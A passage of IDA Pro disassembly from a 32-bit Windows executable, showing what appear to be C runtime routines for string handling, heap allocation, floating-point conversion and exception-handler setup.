lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_415A20
; ---------------------------------------------------------------------------
loc_415A51: ; CODE XREF: sub_4159D4+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_415A5A
neg eax
loc_415A5A: ; CODE XREF: sub_4159D4+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4159D4 endp
; =============== S U B R O U T I N E =======================================
sub_415A5F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4159D4
pop ecx
retn
sub_415A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A6A proc near ; CODE XREF: sub_401447+318p
; sub_401BD6+460p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415AA9
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415AB6
; ---------------------------------------------------------------------------
loc_415AA9: ; CODE XREF: sub_415A6A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_415AB6: ; CODE XREF: sub_415A6A+3Dj
mov eax, esi
pop esi
leave
retn
sub_415A6A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415AC0 proc near ; CODE XREF: sub_401BD6+2D8p
; sub_401BD6+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_415B3A
mov dh, [ecx+1]
test dh, dh
jz short loc_415B27
loc_415AD8: ; CODE XREF: sub_415AC0+52j
; sub_415AC0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_415AFA
test al, al
jz short loc_415AF4
loc_415AE9: ; CODE XREF: sub_415AC0+32j
mov al, [esi]
inc esi
loc_415AEC: ; CODE XREF: sub_415AC0+3Fj
cmp al, dl
jz short loc_415AFA
test al, al
jnz short loc_415AE9
loc_415AF4: ; CODE XREF: sub_415AC0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415AFA: ; CODE XREF: sub_415AC0+23j
; sub_415AC0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_415AEC
lea edi, [esi-1]
loc_415B04: ; CODE XREF: sub_415AC0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_415B33
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_415AD8
mov al, [ecx+3]
test al, al
jz short loc_415B33
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_415B04
jmp short loc_415AD8
; ---------------------------------------------------------------------------
loc_415B27: ; CODE XREF: sub_415AC0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_417086
; ---------------------------------------------------------------------------
loc_415B33: ; CODE XREF: sub_415AC0+49j
; sub_415AC0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_415B3A: ; CODE XREF: sub_415AC0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_415AC0 endp
; =============== S U B R O U T I N E =======================================
sub_415B40 proc near ; CODE XREF: sub_40211A+94p
; sub_405A89+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_415B55
or eax, 0FFFFFFFFh
jmp short loc_415B8F
; ---------------------------------------------------------------------------
loc_415B55: ; CODE XREF: sub_415B40+Ej
test al, 83h
jz short loc_415B8D
push esi
call sub_4186E4
push esi
mov edi, eax
call sub_41867E
push dword ptr [esi+10h]
call sub_4185CB
add esp, 0Ch
test eax, eax
jge short loc_415B7B
or edi, 0FFFFFFFFh
jmp short loc_415B8D
; ---------------------------------------------------------------------------
loc_415B7B: ; CODE XREF: sub_415B40+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_415B8D
push eax
call sub_415E3D
and dword ptr [esi+1Ch], 0
pop ecx
loc_415B8D: ; CODE XREF: sub_415B40+17j
; sub_415B40+39j ...
mov eax, edi
loc_415B8F: ; CODE XREF: sub_415B40+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_415B40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B96 proc near ; CODE XREF: sub_40211A+8Ep
; sub_40CE55+2A01p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_4187B6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417D4C
push [ebp+arg_0]
mov edi, eax
push esi
call sub_418843
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_415B96 endp
; =============== S U B R O U T I N E =======================================
sub_415BC8 proc near ; CODE XREF: sub_415BE8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_4189F0
test eax, eax
jnz short loc_415BD2
retn
; ---------------------------------------------------------------------------
loc_415BD2: ; CODE XREF: sub_415BC8+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418880
add esp, 10h
retn
sub_415BC8 endp
; =============== S U B R O U T I N E =======================================
sub_415BE8 proc near ; CODE XREF: sub_40211A+54p
; sub_405A89+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_415BC8
add esp, 0Ch
retn
sub_415BE8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415C00 proc near ; CODE XREF: sub_405B23+2BFp
; sub_4099AA+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_415C71
sub_415C00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415C10 proc near ; CODE XREF: sub_40211A+32p
; sub_40211A+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_415C2C
loc_415C1D: ; CODE XREF: sub_415C10+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_415C5F
test ecx, 3
jnz short loc_415C1D
loc_415C2C: ; CODE XREF: sub_415C10+Bj
; sub_415C10+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415C2C
mov eax, [ecx-4]
test al, al
jz short loc_415C6E
test ah, ah
jz short loc_415C69
test eax, 0FF0000h
jz short loc_415C64
test eax, 0FF000000h
jz short loc_415C5F
jmp short loc_415C2C
; ---------------------------------------------------------------------------
loc_415C5F: ; CODE XREF: sub_415C10+12j
; sub_415C10+4Bj
lea edi, [ecx-1]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C64: ; CODE XREF: sub_415C10+44j
lea edi, [ecx-2]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C69: ; CODE XREF: sub_415C10+3Dj
lea edi, [ecx-3]
jmp short loc_415C71
; ---------------------------------------------------------------------------
loc_415C6E: ; CODE XREF: sub_415C10+39j
lea edi, [ecx-4]
loc_415C71: ; CODE XREF: sub_415C00+5j
; sub_415C10+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_415C96
loc_415C7D: ; CODE XREF: sub_415C10+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_415CE8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_415C7D
jmp short loc_415C96
; ---------------------------------------------------------------------------
loc_415C91: ; CODE XREF: sub_415C10+9Ej
; sub_415C10+B8j
mov [edi], edx
add edi, 4
loc_415C96: ; CODE XREF: sub_415C10+6Bj
; sub_415C10+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_415C91
test dl, dl
jz short loc_415CE8
test dh, dh
jz short loc_415CDF
test edx, 0FF0000h
jz short loc_415CD2
test edx, 0FF000000h
jz short loc_415CCA
jmp short loc_415C91
; ---------------------------------------------------------------------------
loc_415CCA: ; CODE XREF: sub_415C10+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CD2: ; CODE XREF: sub_415C10+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CDF: ; CODE XREF: sub_415C10+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_415CE8: ; CODE XREF: sub_415C10+72j
; sub_415C10+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_415C10 endp
; =============== S U B R O U T I N E =======================================
sub_415CF0 proc near ; CODE XREF: sub_4021FB+1A7p
; sub_4021FB:loc_4023B5p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_415D10
loc_415CFC: ; CODE XREF: sub_415CF0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_415D43
test ecx, 3
jnz short loc_415CFC
add eax, 0
loc_415D10: ; CODE XREF: sub_415CF0+Aj
; sub_415CF0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_415D10
mov eax, [ecx-4]
test al, al
jz short loc_415D61
test ah, ah
jz short loc_415D57
test eax, 0FF0000h
jz short loc_415D4D
test eax, 0FF000000h
jz short loc_415D43
jmp short loc_415D10
; ---------------------------------------------------------------------------
loc_415D43: ; CODE XREF: sub_415CF0+11j
; sub_415CF0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D4D: ; CODE XREF: sub_415CF0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D57: ; CODE XREF: sub_415CF0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_415D61: ; CODE XREF: sub_415CF0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_415CF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_4024DC+8p
; sub_402988+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_415D90
loc_415D7C: ; CODE XREF: sub_415D70+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_415D7C
loc_415D90: ; CODE XREF: sub_415D70+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_415D70 endp
; =============== S U B R O U T I N E =======================================
sub_415D9F proc near ; CODE XREF: sub_402FDD+7Ap
; sub_402FDD+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_415DB3
loc_415DAB: ; CODE XREF: sub_415D9F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_415DAB
loc_415DB3: ; CODE XREF: sub_415D9F+Aj
mov edx, [esp+arg_4]
push esi
loc_415DB8: ; CODE XREF: sub_415D9F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_415DB8
pop esi
retn
sub_415D9F endp
; =============== S U B R O U T I N E =======================================
sub_415DC9 proc near ; CODE XREF: sub_403178+220p
; sub_4033CB+C1p ...
arg_0 = dword ptr 4
push dword_469514
push [esp+4+arg_0]
call sub_415DDB
pop ecx
pop ecx
retn
sub_415DC9 endp
; =============== S U B R O U T I N E =======================================
sub_415DDB proc near ; CODE XREF: sub_415DC9+Ap
; sub_4167C5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_415E04
loc_415DE2: ; CODE XREF: sub_415DDB+27j
push [esp+arg_0]
call sub_415E07
test eax, eax
pop ecx
jnz short locret_415E06
cmp [esp+arg_4], eax
jz short locret_415E06
push [esp+arg_0]
call sub_418A68
test eax, eax
pop ecx
jnz short loc_415DE2
loc_415E04: ; CODE XREF: sub_415DDB+5j
xor eax, eax
locret_415E06: ; CODE XREF: sub_415DDB+13j
; sub_415DDB+19j
retn
sub_415DDB endp
; =============== S U B R O U T I N E =======================================
sub_415E07 proc near ; CODE XREF: sub_415DDB+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_437FAC
ja short loc_415E1F
push esi
call sub_418E53
test eax, eax
pop ecx
jnz short loc_415E3B
loc_415E1F: ; CODE XREF: sub_415E07+Bj
test esi, esi
jnz short loc_415E26
push 1
pop esi
loc_415E26: ; CODE XREF: sub_415E07+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46AB20
call dword_42114C
loc_415E3B: ; CODE XREF: sub_415E07+16j
pop esi
retn
sub_415E07 endp
; =============== S U B R O U T I N E =======================================
sub_415E3D proc near ; CODE XREF: sub_4033CB+10Ep
; sub_4033CB+116p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_415E6A
push esi
call sub_418AFD
pop ecx
test eax, eax
push esi
jz short loc_415E5C
push eax
call sub_418B28
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E5C: ; CODE XREF: sub_415E3D+13j
push 0
push dword_46AB20
call dword_421150
loc_415E6A: ; CODE XREF: sub_415E3D+7j
pop esi
retn
sub_415E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415E6C(double)
sub_415E6C proc near ; CODE XREF: sub_40465E+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437D50
call sub_419E26
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_415EF2
call sub_419CEE
pop ecx
test eax, eax
pop ecx
jle short loc_415ED5
cmp eax, 2
jle short loc_415EC7
cmp eax, 3
jnz short loc_415ED5
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_4195FE
add esp, 10h
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415EC7: ; CODE XREF: sub_415E6C+3Fj
push esi
push ebx
call sub_419E26
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415ED5: ; CODE XREF: sub_415E6C+3Aj
; sub_415E6C+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_415F2F
; ---------------------------------------------------------------------------
loc_415EF2: ; CODE XREF: sub_415E6C+2Fj
call sub_419CB3
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_415F15
loc_415F07: ; CODE XREF: sub_415E6C+ACj
push esi
push ebx
call sub_419E26
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_415F37
; ---------------------------------------------------------------------------
loc_415F15: ; CODE XREF: sub_415E6C+99j
test bl, 20h
jnz short loc_415F07
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_415F2F: ; CODE XREF: sub_415E6C+84j
call sub_419651
add esp, 1Ch
loc_415F37: ; CODE XREF: sub_415E6C+59j
; sub_415E6C+67j ...
pop esi
pop ebx
leave
retn
sub_415E6C endp
; =============== S U B R O U T I N E =======================================
sub_415F3B proc near ; CODE XREF: sub_4177FA+9p
; sub_419EEF+21p
; DATA XREF: ...
call sub_415F53
call sub_419EEF
mov dword_469494, eax
call sub_419E9F
fnclex
retn
sub_415F3B endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_415F53 proc near ; CODE XREF: sub_415F3Bp
mov eax, offset sub_41A2DD
mov off_4380CC, offset loc_419F72
mov off_4380C8, eax
mov off_4380D0, offset sub_419FD8
mov off_4380D4, offset sub_419F18
mov off_4380D8, offset loc_419FC0
mov off_4380DC, eax
retn
sub_415F53 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F8C proc near ; CODE XREF: sub_40465E+1Bp
; sub_40465E+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_415F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415FB3(double)
sub_415FB3 proc near ; CODE XREF: sub_4046AA+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_437D68
call sub_419E26
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_416039
call sub_419CEE
pop ecx
test eax, eax
pop ecx
jle short loc_41601C
cmp eax, 2
jle short loc_41600E
cmp eax, 3
jnz short loc_41601C
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_4195FE
add esp, 10h
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41600E: ; CODE XREF: sub_415FB3+3Fj
push esi
push ebx
call sub_419E26
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41601C: ; CODE XREF: sub_415FB3+3Aj
; sub_415FB3+44j
fld [ebp+arg_0]
fadd dbl_421670
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_416076
; ---------------------------------------------------------------------------
loc_416039: ; CODE XREF: sub_415FB3+2Fj
call sub_419CB3
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41605C
loc_41604E: ; CODE XREF: sub_415FB3+ACj
push esi
push ebx
call sub_419E26
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41607E
; ---------------------------------------------------------------------------
loc_41605C: ; CODE XREF: sub_415FB3+99j
test bl, 20h
jnz short loc_41604E
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_416076: ; CODE XREF: sub_415FB3+84j
call sub_419651
add esp, 1Ch
loc_41607E: ; CODE XREF: sub_415FB3+59j
; sub_415FB3+67j ...
pop esi
pop ebx
leave
retn
sub_415FB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416082 proc near ; CODE XREF: sub_41A74E+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_416082 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_4160B6 proc near ; CODE XREF: sub_41A8FF+199p
; sub_41AAC3+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4160B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4160BD proc near ; CODE XREF: sub_41A8FF+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4160BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4160C4 proc near ; CODE XREF: sub_416276+5Cp
; sub_41A74E:loc_41A77Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_4160EC
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42010C
loc_4160EC: ; DATA XREF: sub_4160C4+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4160C4 endp
; ---------------------------------------------------------------------------
loc_416113: ; CODE XREF: .nsp0:00420268j
; .nsp0:00420285j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41A353
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416149 proc near ; CODE XREF: sub_41A7C9+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41619D
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_41AB50
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_416149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41619D proc near ; DATA XREF: sub_416149+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A353
add esp, 20h
pop ebp
retn
sub_41619D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C2 proc near ; CODE XREF: sub_41A595+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_416276
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_416248
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_469534
pop ecx
pop ecx
and [ebp+var_34], 0
loc_416248: ; DATA XREF: sub_4161C2+3Co
cmp [ebp+var_4], 0
jz short loc_416265
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41626E
; ---------------------------------------------------------------------------
loc_416265: ; CODE XREF: sub_4161C2+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41626E: ; CODE XREF: sub_4161C2+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_4161C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416276 proc near ; DATA XREF: sub_4161C2+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_416299
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_4162E6
; ---------------------------------------------------------------------------
loc_416299: ; CODE XREF: sub_416276+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41A353
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_4162D7
push [ebp+arg_0]
push [ebp+arg_4]
call sub_4160C4
loc_4162D7: ; CODE XREF: sub_416276+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_4162E6: ; CODE XREF: sub_416276+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_416276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162EB proc near ; CODE XREF: sub_41A3EE+C6p
; sub_41A595+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_416342
loc_416309: ; CODE XREF: sub_4162EB+52j
cmp esi, 0FFFFFFFFh
jnz short loc_416313
call sub_41ABF2
loc_416313: ; CODE XREF: sub_4162EB+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
